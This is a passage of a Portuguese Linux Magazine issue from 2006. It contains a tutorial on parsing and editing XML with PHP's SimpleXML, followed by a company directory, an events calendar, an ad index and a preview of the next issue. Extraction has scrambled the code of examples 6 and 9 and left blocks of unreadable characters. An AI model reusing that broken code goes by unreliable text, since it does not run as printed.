ML é, sem dúvida, uma tecnologia inovadora. Arquivos XML são usados, hoje em dia, para os mais diversos fins, desde a definição de interfaces gráficas para aplicativos até o envio de dados de uma aplicação para outra. A linguagem de programação PHP, em sua versão 5, possui a extensão SimpleXML. Esse conjunto de funções facilita bastante a interpretação de arquivos XML, permitindo assim seu carregamento, alteração e utilização para os mais diversos fins. Em nosso primeiro exemplo, vamos realizar uma simples leitura de um documento XML e analisar seu retorno. Aqui, tomamos como base o arquivo XML do exemplo 1. No pequeno programa mostrado no exemplo 2, carregamos o documento XML paises.xml através da função simplexml_load_file(), e analisamos o resultado desse procedimento, através da função var_dump(). É possível ver claramente cada tag do XML sendo transformada em propriedades do objeto resultante. A função simplexml_load_file() realiza a leitura de um documento XML, criando ao final um objeto do tipo SimpleXmlElement. Caso o documento esteja formatado incorretamente, ou mesmo que não seja um documento XML, a função retornará FALSE. O resultado da execução do código do exemplo 2, nesse caso, é:
object(SimpleXMLElement)#1 (5) { ["nome"]=> string(8) " Brasil " ["idioma"]=> string(11) " portugues " ["religiao"]=> string(10) " catolica " ["moeda"]=> string(11) " Real (R$) " ["populacao"]=> string(13) " 190 milhoes " }
Um objeto SimpleXMLElement representa um elemento de um documento XML. Quando interpretado através das funções
simplexml_load_file() ou simplexml_load_ string(), o documento XML resulta em um objeto do tipo SimpleXMLElement, contendo
seus atributos e valores, bem como outros objetos SimpleXMLElement internos, representando subelementos (nodos). Abaixo, estão alguns dos métodos oferecidos por um objeto do tipo SimpleXmlElement: ➧ asXML (): Retorna uma cadeia de caracteres formatada em XML representando o objeto, bem como seus subelementos. ➧ attributes (): Lista os atributos definidos dentro da tag XML do objeto. ➧ children (): Retorna os elementos filhos do objeto (sub-nodos), bem como seus valores. ➧ addChild(string nome, string valor, string namespace): Adiciona um elemento ao nodo especificado e retorna um objeto do tipo SimpleXmlElement. O exemplo 3 demonstra como acessar diretamente as propriedades do objeto SimpleXMLElement resultante da leitura do documento XML. Para tal, utilizamos o mesmo arquivo XML do exemplo anterior, imprimindo na tela as propriedades do objeto resultante com seu respectivo valor. O resultado da execução do exemplo 3 é: Nome : Brasil Idioma : portugues Religiao : catolica Moeda : Real (R$) População : 190 milhoes
Já vimos como acessar diretamente as propriedades do XML sabendo os seus nomes. No exemplo 4, vamos percorrer o mesmo documento XML e imprimir na tela suas propriedades (tags), mesmo sem saber seus nomes. Isso é possível através da
utilização do método children(), que recebe um objeto SimpleXMLElement e retorna todos os seus elementos filhos na forma de um vetor contendo a chave e o valor, que pode ser iterado por um laço foreach. A execução do exemplo 4 gera a seguinte saída: ➧
Bernhard Aichinger – www.sxc.hu
Exemplo 1: paises.xml <?xml version="1.0" encoding="ISO-8859-1"?> <pais> <nome> Brasil </nome> <idioma> portugues </idioma> <religiao> catolica </religiao> <moeda> Real (R$) </moeda> <populacao> 190 milhoes </populacao> </pais>
Exemplo 2: Processamento do arquivo paises.xml <?php // interpreta o documento XML $xml = simplexml_load_file('paises.xml'); // exibe as informaçoes do objeto criado var_dump($xml); ?>
Exemplo 3: Acesso às propriedades do objeto SimpleXMLElement <?php // interpreta o documento XML $xml = simplexml_load_file(‘paises.xml’); // imprime os atributos do objeto criado echo 'Nome : ' . $xml->nome . "\n"; echo 'Idioma : ' . $xml->idioma . "\n"; echo 'Religiao : ' . $xml->religiao . "\n"; echo 'Moeda : ' . $xml->moeda . "\n"; echo 'Populaçao : '. $xml->populacao . "\n"; ?>
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
75
PROGRAMAÇÃO | XML com PHP
Exemplo 4: Tags de paises.xml <?php // interpreta o documento XML $xml = simplexml_load_file('paises.xml'); foreach ($xml->children() as $elemento => $valor) { echo "$elemento -> $valor\n"; } ?>
Exemplo 5: paises2.xml <?xml version="1.0" encoding="ISO-8859-1"?> <pais> <nome> Brasil </nome> <idioma> portugues </idioma> <capital> Brasilia </capital> <religiao> catolica </religiao> <moeda> Real (R$) </moeda> <populacao> 190 milhoes </populacao> <geografia> <clima> tropical </clima> <costa> 7367 km </costa> <pico> Neblina (3014 m) </pico> </geografia> </pais>
Exemplo 6: Interpretação de paises2.xml <?php // interpreta o documento XML $xml = simplexml_load_file('paises2.xml'); echo 'Nome : ' echo 'Idioma : ' echo echo echo echo echo ?>
. $xml->nome . $xml->idioma
. "\n"; . "\n";
"\n"; "*** Informaçoes Geograficas ***\n"; 'Clima : ' . $xml->geografia->clima . "\n"; 'Costa : ' . $xml->geografia->costa . "\n"; 'Pico : ' . $xml->geografia->pico . "\n";
Exemplo 7: Alteração de propriedades <?php // interpreta o documento XML $xml = simplexml_load_file('paises2.xml'); // alteraçao de propriedades $xml->populacao = '220 milhoes'; $xml->religiao = 'cristianismo'; $xml->geografia->clima = 'temperado'; // adiciona novo nodo $xml->addChild('presidente', 'Chapolin'); // exibindo o novo XML echo $xml->asXML(); // grava no arquivo paises2.xml file_put_contents('paises2.xml', $xml->asXML()); ?>
nome -> Brasil idioma -> portugues religiao -> catolica moeda -> Real (R$) populacao -> 190 milhoes
Aperfeiçoamos um pouco nosso documento XML, adicionando uma seção geografia, que agrupa informações como clima, costa e pico. Nesse caso, o objeto resultante ($xml) irá conter uma propriedade chamada geografia, que é também um objeto do tipo SimpleXMLElement com suas respectivas propriedades, sendo passíveis da utilização dos mesmos métodos listados no início deste artigo (asXML(), children(), attributes() etc...) A saída da execução do exemplo 6 é: Nome : Brasil Idioma : portugues *** Informaçoes Geograficas *** Clima : tropical Costa : 7367 km Pico : Neblina (3014 m)
Já realizamos o acesso ao documento XML de diversas formas; agora veremos como alterar o seu conteúdo, no exemplo 7. Nesse caso, após a carga do documento, atribuímos novos valores aos campos, acessando diretamente cada uma das propriedades que se deseja alterar no objeto. Também adicionamos um novo nodo, chamado presidente, através do método addChild(). Após as atribuições de novos valores, utilizamos o método asXML() para retornar o novo documento XML formatado e atualizado. Caso queiramos sobrescrever o arquivo original, basta utilizarmos a função file_put_contents(). O resultado da execução do exemplo 7 é: <?xml version="1.0" encoding="ISO-8859-1"?> <pais> <nome> Brasil </nome> <idioma> portugues </idioma> <capital> Brasília </capital> <religiao>cristianismo</religiao> <moeda> Real (R$) </moeda> <populacao>220 milhoes</populacao> <geografia> <clima>temperado</clima> <costa> 7367 km </costa> <pico> Neblina (3014 m)</pico> </geografia> <presidente>Chapolin</presidente> </pais>
Agora que já vimos como alterar o conteúdo do XML, vamos ver como se dá o acesso a elementos repetitivos. No exemplo 8, adicionamos uma seção chamada <estados>, que
contém uma listagem com nomes de Estados. O código a seguir imprime na tela algumas informações do documento XML, como nos exemplos anteriores, e também mostra como exibir esses elementos repetitivos, através do laço de repetições foreach(). O resultado da execução do código do exemplo 9 é: Nome : Brasil Idioma : portugues *** Estados *** Estado : Rio Grande do Sul Estado : Sao Paulo Estado : Minas Gerais Estado : Rio de Janeiro Estado : Parana Estado : Mato Grosso
Agora vamos complicar um pouco mais nosso arquivo XML. O arquivo do exemplo 10 contém elementos com atributos na definição da própria tag. O exemplo 11 ilustra como trabalhar com elementos que contêm atributos na definição da própria tag (nome=”Minas Gerais” capital=”Belo Horizonte”), como o arquivo do exemplo 10. Para tal, alteramos a lista de Estados para conter o nome e a capital. Nesse caso, as informações são retornadas em forma de vetor. Utilizando estruturas como o foreach() para percorrer a lista de Estados, acessamos cada atributo do vetor de forma indexada, sendo o índice o próprio nome do atributo que desejamos acessar. Veja o exemplo 11. A execução do exemplo 11 gera a seguinte saída: *** Estados *** Estado : Rio Grande do Sul ➥ Capital: Porto Alegre Estado : São Paulo Capital: São Paulo Estado : Minas Gerais ➥ Capital: Belo Horizonte Estado : Rio de Janeiro ➥ Capital: Rio de Janeiro Estado : Paraná Capital: Curitiba Estado : Mato Grosso Capital: Cuiabá
Veja que no exemplo 11 é necessário saber exatamente o nome dos atributos que desejamos acessar, de forma indexada. No exemplo 12, percorremos a lista de Estados através de um foreach(), como no exemplo anterior; a diferença é que, dentro desse laço de repetição, podemos percorrer os atributos de cada $estado (que é, na verdade, um objeto SimpleXMLElement), através do método attributes(), que retorna a chave e o valor de cada atributo de um elemento nodo. A execução do exemplo 12 leva à seguinte saída:
http://supertuxbr.blogspot.com 76
http://www.linuxmagazine.com.br
XML com PHP | PROGRAMAÇÃO
Exemplo 8: paises3.xml <?xml version="1.0" encoding="ISO-8859-1"?> <pais> <nome> Brasil </nome> <idioma> portugues </idioma> <religiao> catolica </religiao> <moeda> Real (R$) </moeda> <populacao> 190 milhoes </populacao> <geografia> <clima> tropical </clima> <costa> 7367 km </costa> <pico> Neblina (3014 m) </pico> </geografia> <estados> <nome> Rio Grande do Sul </nome> <nome> Sao Paulo </nome > <nome> Minas Gerais </nome> <nome> Rio de Janeiro </nome> <nome> Parana </nome> <nome> Mato Grosso </nome> </estados> </pais>
Exemplo 10: paises4.xml <?xml version="1.0" encoding="ISO-8859-1"?> <pais> <nome> Brasil </nome> <idioma> portugues </idioma> <religiao> catolica </religiao> <moeda nome="Real" simbolo="R$"/> <populacao> 190 milhoes </populacao> <geografia> <clima> tropical </clima> <costa> 7367 km </costa> <pico nome="Neblina" altitude="3014"/> </geografia> <estados> <estado nome="Rio Grande do Sul" capital="Porto Alegre"/> <estado nome="Sao Paulo" capital="Sao Paulo"/> <estado nome="Minas Gerais" capital="Belo Horizonte"/> <estado nome="Rio de Janeiro" capital="Rio de Janeiro"/> <estado nome="Parana" capital="Curitiba"/> <estado nome="Mato Grosso" capital="Cuiabá"/> </estados> </pais>
Exemplo 9: Interpretação de elementos repetitivos <?php // interpreta o documento XML $xml = simplexml_load_file('paises3.xml'); echo 'Nome : ' echo 'Idioma : '
. $xml->nome . $xml->idioma
. "\n"; . "\n";
echo "\n"; echo "*** Estados ***\n"; /*
Voce pode acessar um estado diretamente pelo seu indice: echo $xml->estados->nome[0];
*/ foreach ($xml->estados->nome as $estado) { echo ‘Estado : ' . $estado . "\n"; } ?>
Exemplo 11: Interpretação de paises4.xml <?php // interpreta o documento XML $xml = simplexml_load_file(‘paises4.xml'); echo "*** Estados ***\n"; // percorre a lista de estados foreach ($xml->estados->estado as $estado) { // imprime o estado e a capital echo str_pad('Estado : ' . $estado['nome'], 30) . 'Capital: ' . $estado['capital'] . "\n"; } ?>
Exemplo 12: Uso do foreach *** Estados *** nome=>Rio Grande do Sul capital=>Porto Alegre nome=>São Paulo capital=>São Paulo nome=>Minas Gerais capital=>Belo Horizonte nome=>Rio de Janeiro capital=>Rio de Janeiro nome=>Paraná capital=>Curitiba nome=>Mato Grosso capital=>Cuiabá
Conclusão
Como pudemos ver neste artigo, a manipulação de arquivos XML no PHP é extremamente simples (afinal, a extensão se chama SimpleXML), e pode ser realizada com apenas algumas linhas de código. Esses recursos provam mais uma vez os grandes avanços proporcionados pela quinta versão dessa linguagem de programação que cresce diariamente em popularidade por sua facilidade de uso, flexibilidade e também pelo crescente número de recursos criados pela sua grande comunidade de desenvolvedores. ■
<?php // interpreta o documento XML $xml = simplexml_load_file('paises4.xml'); echo "*** Estados ***\n"; // percorre os estados foreach ($xml->estados->estado as $estado) { // percorre os atributos de cada estado foreach ($estado->attributes() as $key => $value) { echo "$key=>$value\n"; } } ?>
O autor Pablo Dall’Oglio é autor de projetos em Software Livre reconhecidos, como o Agata Report (http://agata. dalloglio.net) e o editor Tulip (http://tulip.dalloglio.net). É autor do primeiro livro sobre PHP-GTK no mundo (http://www.php-gtk.com.br/). É especialista em orientação a objetos, PHP e PHP-GTK. Pode ser contatado pelo email pablo@php.net ou pablo@dalloglio.net.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
77
Linux.local
SERVIÇOS
O maior diretório de empresas que oferecem produtos, soluções e serviços em Linux e Software Livre, organizado por Estado. Sentiu falta do nome de sua empresa aqui? Entre em contato com a gente: 11 2161-5400 ou anuncios@linuxmagazine.com.br
Fornecedor de Hardware = 1 Redes e Telefonia / PBX = 2 Integrador de Soluções = 3 Literatura / Editora = 4 Fornecedor de Software = 5 Consultoria / Treinamento = 6
Empresa
Cidade
Endereço
Telefone
Web
85 3252-3836
www.f13.com.br
1 2 3 4 5 6
Ceará F13 Tecnologia
Fortaleza
Rua Coronel Solon, 480 – Bairro de Fátima Fortaleza - CE - CEP 60040-270
Linux Shopp
Vila Velha
Rua São Simão (Correspondência), 18 – CEP: 29113-120
27 3082-0932
www.linuxshopp.com.br
Megawork Consultoria e Sistemas
Vitória
Rua Chapot Presvot, 389 – Praia do Canto – CEP: 29055-410 sl 201, 202
27 3315-2370
www.megawork.com.br
✔
✔ ✔
Spirit Linux
Vitória
Rua Marins Alvarino, 150 – CEP: 29047-660
27 3227-5543
www.spiritlinux.com.br
✔
✔ ✔
✔ ✔
✔ ✔
Espírito Santo ✔ ✔
✔ ✔
Minas Gerais Instituto Online
Belo Horizonte
Av. Bias Fortes, 932, Sala 204 – CEP: 30170-011
31 3224-7920
www.institutoonline.com.br
Linux Place
Belo Horizonte
Rua do Ouro, 136, Sala 301 – Serra – CEP: 30220-000
31 3284-0575
corporate.linuxplace.com.br
✔
✔
✔ ✔
✔ ✔
Microhard
Belo Horizonte
Rua República da Argentina, 520 – Sion – CEP: 30315-490
31 3281-5522
www.microhard.com.br
✔ ✔ ✔
✔ ✔
TurboSite
Belo Horizonte
Rua Paraíba, 966, Sala 303 – Savassi – CEP: 30130-141
0800 702-9004
www.turbosite.com.br
✔
✔ ✔
Paraná iSolve
Curitiba
Av. Cândido de Abreu, 526, Cj. 1206B – CEP: 80530-000
41 252-2977
www.isolve.com.br
Mandriva Conectiva
Curitiba
Rua Tocantins, 89 – Cristo Rei – CEP: 80050-430
41 3360-2600
www.mandriva.com.br
NSI Training
Rio de Janeiro
Rua Araújo Porto Alegre, 71, 4ºandar Centro – CEP: 20030-012 21 2220-7055
www.nsi.com.br
✔
✔
Open IT
Rio de Janeiro
Rua do Mercado, 34, Sl, 402 – Centro – CEP: 20010-120
21 2508-9103
www.openit.com.br
✔
✔
Unipi Tecnologias
Campos dos Goytacazes
Av. Alberto Torres, 303, 1ºandar - Centro – CEP 28035-581
22 2725-1041
www.unipi.com.br
✔ ✔ ✔ ✔
Solis
Lajeado
Rua Comandante Wagner, 12 – São Cristóvão – CEP: 95900-000
51 3714-6653
www.solis.coop.br
✔ ✔ ✔ ✔ ✔
✔ ✔
✔
✔ ✔ ✔ ✔
Rio de Janeiro
Rio Grande do Sul
DualCon
Novo Hamburgo
Rua Joaquim Pedro Soares, 1099, Sl. 305 – Centro
51 3593-5437
www.dualcon.com.br
✔
✔
Datarecover
Porto Alegre
Av. Carlos Gomes, 403, Sala 908, Centro Comercial Atrium Center – Bela Vista – CEP: 90480-003
51 3018-1200
www.datarecover.com.br
✔
✔
LM2 Consulting
Porto Alegre
Rua Germano Petersen Junior, 101-Sl 202 – Higienópolis – CEP: 90540-140
51 3018-1007
www.lm2.com.br
Av. Venâncio Aires, 1137 – Rio Branco – CEP: 90.040.193
51 3331-1446
Lnx-IT Informação e Tecnologia Porto Alegre
✔ ✔
✔
✔ ✔
www.lnx-it.inf.br
✔
✔
✔ ✔
Plugin
Porto Alegre
Av. Júlio de Castilhos, 132, 11º andar Centro – CEP: 90030-130 51 4003-1001
www.plugin.com.br
✔
✔
✔
TeHospedo
Porto Alegre
Rua dos Andradas, 1234/610 – Centro – CEP: 90020-008
51 3286-3799
www.tehospedo.com.br
✔ ✔
Redix
Blumenau
Rua 02 de Setembro, 733, sl 08. CEP 89052-000
47 3323-7313
www.redix.com.br
Santa Catarina ✔ ✔
✔ ✔
São Paulo Ws Host
Arthur Nogueira
Rua Jerere, 36 – Vista Alegre – CEP: 13280-000
19 3846-1137
www.wshost.com.br
✔
DigiVoice
Barueri
Al. Juruá, 159, Térreo – Alphaville – CEP: 06455-010
11 4195-2557
www.digivoice.com.br
✔ ✔ ✔
✔ ✔
Dextra Sistemas
Campinas
Rua Antônio Paioli, 320 – Pq. das Universidades – CEP: 13086-045
19 3256-6722
www.dextra.com.br
✔
✔ ✔
✔
✔
✔
Insigne Free Software do Brasil Campinas
Av. Andrades Neves, 1579 – Castelo – CEP: 13070-001
19 3213-2100
www.insignesoftware.com
Microcamp
Campinas
Av. Thomaz Alves, 20 – Centro – CEP: 13010-160
19 3236-1915
www.microcamp.com.br
PC2 Consultoria em Software Livre
Carapicuiba
Rua Edeia, 500 - 06350-080
11 3213-6388
www.pc2consultoria.com
✔
✔
✔ ✔ ✔
✔
✔ ✔ ✔
Savant Tecnologia
Diadema
Av. Senador Vitorino Freire, 465 – CEP: 09910-550
11 5034-4199
www.savant.com.br
Epopéia Informática
Marília
Rua Goiás, 392 – Bairro Cascata – CEP 17509-140
14 3413-1137
www.epopeia.com.br
Redentor
Osasco
Rua Costante Piovan, 150 – Jd. Três Montanhas – CEP: 06263-270
11 2106-9392
www.redentor.ind.br
Go-Global
Santana de Parnaíba Av. Yojiro Takaoca, 4384, Ed. Shopping Service, Cj. 1013 – CEP: 06541-038
11 2173-4211
www.go-global.com.br
AW2NET
Santo André
Rua Edson Soares, 59 – CEP: 09760-350
11 4990-0065
www.aw2net.com.br
Async Open Source
São Carlos
Rua Orlando Damiano, 2212 – CEP 13560-450
16 3376-0125
www.async.com.br
✔
Delix Internet
São José do Rio Preto
Rua Voluntário de São Paulo, 3066 9º – Centro – CEP: 15015-909
11 4062-9889
www.delixhosting.com.br
✔
✔
✔ ✔ ✔ ✔
✔ ✔ ✔ ✔ ✔ ✔
✔
✔
http://supertuxbr.blogspot.com 78
http://www.linuxmagazine.com.br
Linux.local | SERVIÇOS
Empresa
Cidade
Endereço
Telefone
Web
1 2 3 4 5 6
São Paulo (continuação) 4Linux
São Paulo
Rua Teixeira da Silva, 660, 6º andar – CEP: 04002-031
11 2125-4747
www.4linux.com.br
A Casa do Linux
São Paulo
Al. Jaú, 490 – Jd. Paulista – CEP 01420-000
11 3549-5151
www.acasadolinux.com.br
✔
✔ ✔
Accenture do Brasil Ltda.
São Paulo
Rua Alexandre Dumas, 2051 – Chácara Santo Antônio – CEP: 04717-004
11 5188-3000
www.accenture.com.br
✔
✔ ✔
ACR Informática
São Paulo
Rua Lincoln de Albuquerque, 65 –Perdizes – CEP: 05004-010
11 3873-1515
www.acrinformatica.com.br
✔
✔
Agit Informática
São Paulo
Rua Major Quedinho, 111, 5º andar, Cj. 508 – Centro – CEP: 01050-030
11 3255-4945
www.agit.com.br
✔ ✔
✔
Altbit - Informática Comércio e Serviços LTDA.
São Paulo
Av. Francisco Matarazzo, 229, Cj. 57 – Água Branca – CEP 05001-000
11 3879-9390
www.altbit.com.br
✔
AS2M -WPC Consultoria
São Paulo
Av. Tiradentes, 615, Ed. Santiago, 2º andar Bom Retiro – CEP: 01101-010
11 3228-3709
www.wpc.com.br
✔ ✔
✔
✔ ✔
✔
✔ ✔
Big Host
São Paulo
Rua Dr. Miguel Couto, 58 – Centro – CEP: 01008-010
11 3033-4000
www.bighost.com.br
✔
✔ ✔
Blanes
São Paulo
Rua André Ampére, 153 – 9º andar – Conj. 91 CEP: 04562-907 (próx. Av. L. C. Berrini)
11 5506-9677
www.blanes.com.br
✔ ✔ ✔
✔ ✔
Commlogik do Brasil Ltda.
São Paulo
Av. das Nações Unidas, 13.797, Bloco II, 6º andar – Morumbi – CEP: 04794-000
11 5503-1011
www.commlogik.com.br
✔ ✔ ✔
✔ ✔
Computer Consulting Projeto e Consultoria Ltda.
São Paulo
Rua Vergueiro, 6455, Cj. 06 – Alto do Ipiranga – CEP: 04273-100 11 5062-3927
www.computerconsulting.com.br
✔
✔ ✔
Consist Consultoria, Sistemas e Representações Ltda.
São Paulo
Av. das Nações Unidas, 20.727 – CEP: 04795-100
11 5693-7210
www.consist.com.br
Domínio Tecnologia
São Paulo
Rua das Carnaubeiras, 98 – Metrô Conceição – CEP: 04343-080
11 5017-0040
www.dominiotecnologia.com.br
EDS do Brasil
São Paulo
Av. Pres. Juscelino Kubistcheck, 1830 Torre 4 - 5º andar
11 3707-4100
www.eds.com
Ética Tecnologia
São Paulo
Rua Nova York, 945 – Brooklin – CEP:04560-002
11 5093-3025
www.etica.net
Getronics ICT Solutions and Services
São Paulo
Rua Verbo Divino, 1207 – CEP: 04719-002
11 5187-2700
www.getronics.com/br
✔
✔ ✔ ✔ ✔ ✔
✔ ✔ ✔
✔
✔
✔ ✔
✔
✔ ✔
✔
Hewlett-Packard Brasil Ltda.
São Paulo
Av. das Nações Unidas, 12.901, 25º andar – CEP: 04578-000
11 5502-5000
www.hp.com.br
✔
✔ ✔ ✔ ✔
IBM Brasil Ltda.
São Paulo
Rua Tutóia, 1157 – CEP: 04007-900
0800-7074 837
www.br.ibm.com
✔
✔
iFractal
São Paulo
Rua Fiação da Saúde, 145, Conj. 66 – Saúde – CEP: 04144-020 11 5078-6618
www.ifractal.com.br
Integral
São Paulo
Rua Dr. Gentil Leite Martins, 295, 2º andar Jd. Prudência – CEP: 04648-001
11 5545-2600
www.integral.com.br
✔
Itautec S.A.
São Paulo
Rua Santa Catarina, 1 – Tatuapé – CEP: 03086-025
11 6097-3000
www.itautec.com.br
✔ ✔ ✔
Linux Komputer Informática
São Paulo
Av. Dr. Lino de Moraes Leme, 185 – CEP: 04360-001
11 5034-4191
www.komputer.com.br
✔
Linux Mall
São Paulo
Rua Machado Bittencourt, 190, Cj. 2087 – CEP: 04044-001
11 5087-9441
www.linuxmall.com.br
✔
Livraria Tempo Real
São Paulo
Al. Santos, 1202 – Cerqueira César – CEP: 01418-100
11 3266-2988
www.temporeal.com.br
Locasite Internet Service
São Paulo
Av. Brigadeiro Luiz Antonio, 2482, 3º andar – Centro – CEP: 01402-000
11 2121-4555
www.locasite.com.br
Microsiga
São Paulo
Av. Braz Leme, 1631 – CEP: 02511-000
11 3981-7200
www.microsiga.com.br
Novatec Editora Ltda.
São Paulo
Rua Luis Antonio dos Santos, 110 – Santana – 02460-000
11 6979-0071
www.novateceditora.com.br
Novell América Latina
São Paulo
✔ ✔
✔
✔ ✔ ✔ ✔ ✔
✔
✔ ✔ ✔ ✔ ✔ ✔ ✔
✔
✔ ✔ ✔
✔ ✔ ✔
Rua Funchal, 418 – Vila Olímpia
11 3345-3900
www.novell.com/brasil
Oracle do Brasil Sistemas Ltda. São Paulo
Av. Alfredo Egídio de Souza Aranha, 100 – Bloco B – 5º andar – CEP: 04726-170
11 5189-3000
www.oracle.com.br
Proelbra Tecnologia Eletrônica Ltda.
São Paulo
Av. Rouxinol, 1.041, Cj. 204, 2º andar Moema – CEP: 04516-001 11 5052- 8044
www.proelbra.com.br
Provider
São Paulo
Av. Cardoso de Melo, 1450, 6º andar – Vila Olímpia – CEP: 04548-005
11 2165-6500
www.e-provider.com.br
Red Hat Brasil
São Paulo
Av. Angélica, 2503, 8º andar Consolação – CEP: 01227-200
11 3124-6000
www.latinsourcetech.com.br
Samurai Projetos Especiais
São Paulo
Rua Barão do Triunfo, 550, 6º andar – CEP: 04602-002
11 5097-3014
www.samurai.com.br
✔
✔ ✔
SAP Brasil
São Paulo
Av. das Nações Unidas, 11.541, 16º andar – CEP: 04578-000
11 5503-2400
www.sap.com.br
✔
✔ ✔
Simples Consultoria
São Paulo
Rua Mourato Coelho, 299, Cj. 02 Pinheiros – CEP: 05417-010
11 3898-2121
www.simplesconsultoria.com.br
✔
✔ ✔
Smart Solutions
São Paulo
Av. Jabaquara, 2940 cj 56 e 57
11 5052-5958
www.smart-tec.com.br
Snap IT
São Paulo
Rua João Gomes Junior, 131 – Jd. Bonfiglioli – CEP: 05299-000
11 3731-8008
www.snapit.com.br
Stefanini IT Solutions
São Paulo
Av. Brig. Faria Lima, 1355, 19º – Pinheiros – CEP: 01452-919
11 3039-2000
www.stefanini.com.br
Sun Microsystems
São Paulo
Rua Alexandre Dumas, 2016 – CEP: 04717-004
11 5187-2100
www.sun.com.br
Sybase Brasil
São Paulo
Av. Juscelino Kubitschek, 510, 9º andar Itaim Bibi – CEP: 04543-000
11 3046-7388
www.sybase.com.br
The Source
São Paulo
Rua Marquês de Abrantes, 203 – Chácara Tatuapé – CEP: 03060-020
11 6698-5090
www.thesource.com.br
Unisys Brasil Ltda.
São Paulo
Rua Alexandre Dumas, 1711, 10º andar, Ed. Birmann 11 – CEP: 04717-004
11 3305-7000
www.unisys.com.br
Utah
São Paulo
Av. Paulista, 925, 13º andar – Cerqueira César – CEP: 01311-916
11 3145-5888
Visuelles
São Paulo
Rua Eng. Domicio Diele Pacheco e Silva, 585 – Interlagos – CEP 04455-310
Webnow
São Paulo
Av. Nações Unidas, 12.995, 10º andar, Ed. Plaza Centenário – Chácara Itaim – CEP: 04578-000
WRL Informática Ltda.
São Paulo
Systech
Taquaritinga
✔
✔ ✔ ✔ ✔
✔
✔
✔
✔
✔ ✔ ✔
✔
✔ ✔
✔ ✔
✔
✔ ✔
✔
✔ ✔
✔
✔ ✔
✔
✔ ✔ ✔
✔ ✔
✔
✔ ✔
www.utah.com.br
✔
✔ ✔
11 5614-1010
www.visuelles.com.br
✔
✔ ✔
11 5503-6510
www.webnow.com.br
✔
✔
✔
Rua Santa Ifigênia, 211/213, Box 02– Centro – CEP: 01207-001 11 3362-1334
www.wrl.com.br
✔
✔
Rua São José, 1126 – Centro - Caixa Postal 71 – CEP: 15.900-000
www.systech-ltd.com.br
✔ ✔
16 3252-7308
✔
✔ ✔
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
79
SERVIÇOS
Calendário de eventos Evento
Data
Local
Website
PHP Conference Brasil
1 e 2 de Dezembro
São Paulo, SP
www.temporealeventos.com. br/?area=13&tipo=1&id=1334
Reunião ICANN
2 a 8 de Dezembro
São Paulo, SP
www.icann.org/minutes
Estação VoIP 2006
5 e 6 de Dezembro
Curitiba, PR
www.estacaovoip.com.br
Open Source Developers’ Conference
5 a 8 de dezembro
Melbourne, Austrália
www.osdc.com.au
linux.conf.au 2007
15 a 20 de janeiro
Sidney, Austrália
lca2007.linux.org.au
PHP Conference 2007
12 e 13 de fevereiro
Vancouver, Canadá
vancouver.php.net/node/360
LinuxWorld OpenSolutions Summit
14 e 15 de fevereiro
Nova York, EUA
www.linuxworldexpo.com
Open Source Developers’ Conference
20 a 22 de fevereiro
Netanya, Israel
www.osdc.org.il/2007
FOSDEM 2007
24 e 25 de fevereiro
Bruxelas, Bélgica
www.fosdem.org
PyCon 2007
24 a 26 de fevereiro
Addison, EUA
us.pycon.org
LinuxWorld Conference & Expo Mexico
27 de fevereiro a 2 de março
Cidade do México, México
www.linuxworldexpo.com.mx
FOSE 2007
20 a 22 de março
Washington, EUA
www.fose.com
Índice de anunciantes Empresa
Pág.
4Linux
15
BRConnection
27
EasyLinux
25
Estação VOIP
19
Green
65
Guia de Tecnologia da Informação
29
IBM
84
IBM
09
Intel
13
Intel IDF
02
Itautec
07
Linux Local
45
Linux World
81
LPI
61
Plugin
17
Red Hat
11
Siweb
57
SnapIT
37
Thin Networks
47
http://supertuxbr.blogspot.com 80
http://www.linuxmagazine.com.br
�������������������������������
���������������� ��������
�����������������������
���������������������
�������
�����������������������
������������������������
��������
������������������������
���������������������
����������
������������������������
�����������������������
���������
�����������������������
����������������������
������������
����������������������������� �������������������������
��������
������������������������
�����������������������
�������
�������������
���������������������������
�������������
�����������
�������������������������
������
�����������
�����������������������
����������
�����������
�������������������������
������
������������
�����������������������
��������������
��������������������
����������������������
����������
�����������������
�����������������������
��������
���������������
���������������������
http://supertuxbr.blogspot.com �����������������������������������������������������������������
���������������������������
Na Linux Magazine #27… PREVIEW
CAPA
Servidor mais rápido O desempenho de um servidor depende de diversos fatores. A próxima edição da Linux Magazine tratará da estruturação das configurações para velocidade em servidores. A recomendação é que haja um treinamento com vistas ao desempenho, em vez de pequenos ajustes pontuais sem relação entre si. O assunto deve ser interessante não somente para administradores de sistemas Linux, como também para os desenvolvedores de aplicativos, independente da função que este exerça. Um dos artigos demonstrará a implementação de árvores do tipo Red-Black, utilizadas, por exemplo, no kernel Linux, nos escalonadores de E/S Anticipatory e Deadline. Serão apresentados também dez requisitos para serviços eficientes, voltados especificamente aos administradores que crêem que somente com investimento em hardware se obtém aumento significativo no desempenho dos servidores. Mergulharemos na otimização de programas, especialmente em Python, mas também de forma geral, com ferramentas de profiling, a fim de descobrir os principais gargalos responsáveis por quedas de desempenho em nossos programas. A exploração de problemas também será abordada, com o uso de benchmarks para detectar falhas pontuais. ■ TUTORIAL
SVN e CVS
Os sistemas de controle de versões de software CVS (Concurrent Versions System) e SVN (Subversion) são absolutamente essenciais para projetos médios e grandes, e até mesmo para alguns pequenos. Através desses sistemas, os desenvolvedores podem trabalhar em diferentes partes do código de um programa, baixando e subindo novos trechos, unindo-os ao código já existente sem qualquer dificuldade. Vamos mostrar por que essas duas alternativas são tão importantes, e também como trabalhar com elas. ■
Na EasyLinux #10… CAPA
Kurumin Linux Já imaginou uma distribuição onde qualquer modem funciona e programas são instalados com um clique do mouse? Pois essa distribuição existe e é brasileira: Kurumin Linux. Mais do que a facilidade de instalação e configuração, o Kurumin já contém as versões atuais de todos os programas populares, inclusive os codecs proprietários. Se você quer experimentar o Linux, ou está um pouco frustrado com alguma outra distribuição, lhe mostraremos como o Kurumin pode mudar radicalmente qualquer visão negativa sobre o sistema. ■ FLIPERAMA
Games Na estréia da seção Fliperama, você verá como instalar e jogar o sucesso Guild Wars. Neste jogo, você constrói seu personagem e se aventura num mundo com milhares de outros jogadores on-line. ■
http://supertuxbr.blogspot.com 82
http://www.linuxmagazine.com.br
�������������������������� �������� ����������������� ���������
��������� ���������������� ��������
���������� ���������������� ��������
�������
������������������� ���������������������������� �������������������������������
������������������������������� ���������������������������� �������������������
����������� ����������������� ���������
������������������ ���������������������� ���������������������
�����
���������� ������ ����
����
� ������ ������
���������������
����� �������������
���� �����
